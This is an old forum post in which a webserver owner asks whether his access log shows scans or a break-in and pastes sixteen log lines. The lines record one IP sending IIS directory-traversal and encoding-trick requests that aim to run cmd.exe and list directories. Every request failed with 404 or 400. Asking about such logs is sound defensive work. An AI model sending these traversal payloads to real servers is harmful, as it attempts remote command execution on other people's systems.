I am getting odd access log entrys
My question is are these just scans or have they hacked my webserver?
If they have hacked my server how can i monitor there activities?

Here is part of my log


24.153.55.96 - - [22/Oct/2002:22:33:42 -0700] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 276
24.153.55.96 - - [22/Oct/2002:22:33:43 -0700] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 274
24.153.55.96 - - [22/Oct/2002:22:33:43 -0700] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
24.153.55.96 - - [22/Oct/2002:22:33:44 -0700] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
24.153.55.96 - - [22/Oct/2002:22:33:44 -0700] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
24.153.55.96 - - [22/Oct/2002:22:33:45 -0700] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315
24.153.55.96 - - [22/Oct/2002:22:33:45 -0700] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315
24.153.55.96 - - [22/Oct/2002:22:33:45 -0700] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 331
24.153.55.96 - - [22/Oct/2002:22:33:46 -0700] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
24.153.55.96 - - [22/Oct/2002:22:33:46 -0700] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
24.153.55.96 - - [22/Oct/2002:22:33:47 -0700] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
24.153.55.96 - - [22/Oct/2002:22:33:47 -0700] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
24.153.55.96 - - [22/Oct/2002:22:33:48 -0700] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
24.153.55.96 - - [22/Oct/2002:22:33:48 -0700] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
24.153.55.96 - - [22/Oct/2002:22:33:48 -0700] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
24.153.55.96 - - [22/Oct/2002:22:33:49 -0700] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298